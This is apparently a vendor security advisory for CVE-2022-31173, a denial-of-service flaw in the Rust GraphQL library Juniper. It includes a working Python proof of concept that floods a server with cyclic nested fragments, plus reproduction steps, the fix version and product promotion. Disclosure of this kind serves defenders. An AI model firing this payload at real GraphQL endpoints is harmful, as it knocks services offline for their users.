Summary
Juniper is vulnerable to @DOS GraphQL Nested Fragments overflow
GraphQL behaviour
Nested fragment in GraphQL might be quite hard to handle depending on the implementation language.
Some language support natively a max recursion depth. However, on most compiled languages, you should add a threshold of recursion.
# Infinite loop example
query {
...a
}
fragment a on Query {
...b
}
fragment b on Query {
...a
}
POC TLDR
With max_size being the number of nested fragment generated.
At max_size=7500, it should instantly raise:
However, with a lower size, you will overflow the memory after some iterations.
Reproduction steps (Juniper)
git clone https://github.com/graphql-rust/juniper.git
cd juniper
Save this POC as poc.py
import requests
import time
import json
from itertools import permutations
print('=== Fragments POC ===')
url = 'http://localhost:8080/graphql'
max_size = 7500
perms = [''.join(p) for p in permutations('abcefghijk')]
perms = perms[:max_size]
fragment_payloads = ''
for i, perm in enumerate(perms):
next_perm = perms[i+1] if i < max_size-1 else perms[0]
fragment_payloads += f'fragment {perm} on Query' + '{' f'...{next_perm}' + '}'
payload = {'query':'query{\n ...' + perms[0] + '\n}' + fragment_payloads,'variables':{},'operationName':None}
headers = {
'Content-Type': 'application/json',
}
try:
response = requests.request('POST', url, headers=headers, json=payload)
print(response.text)
except requests.exceptions.ConnectionError:
print('Connection closed, POC worked.')
cargo run
[in separate shell] python3 poc.py
Credits
@c3b5aw
@MdotTIM
@karimhreda
Impact
Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.
CVE-2022-31173 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.15.10); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2022-31173? CVE-2022-31173 is a high-severity uncontrolled resource consumption vulnerability in juniper (rust), affecting versions < 0.15.10. It is fixed in 0.15.10. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
- How severe is CVE-2022-31173? CVE-2022-31173 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of juniper are affected by CVE-2022-31173? juniper (rust) versions < 0.15.10 is affected.
- Is there a fix for CVE-2022-31173? Yes. CVE-2022-31173 is fixed in 0.15.10. Upgrade to this version or later.
- Is CVE-2022-31173 exploitable, and should I be worried? Whether CVE-2022-31173 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2022-31173 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2022-31173? Upgrade
juniperto 0.15.10 or later.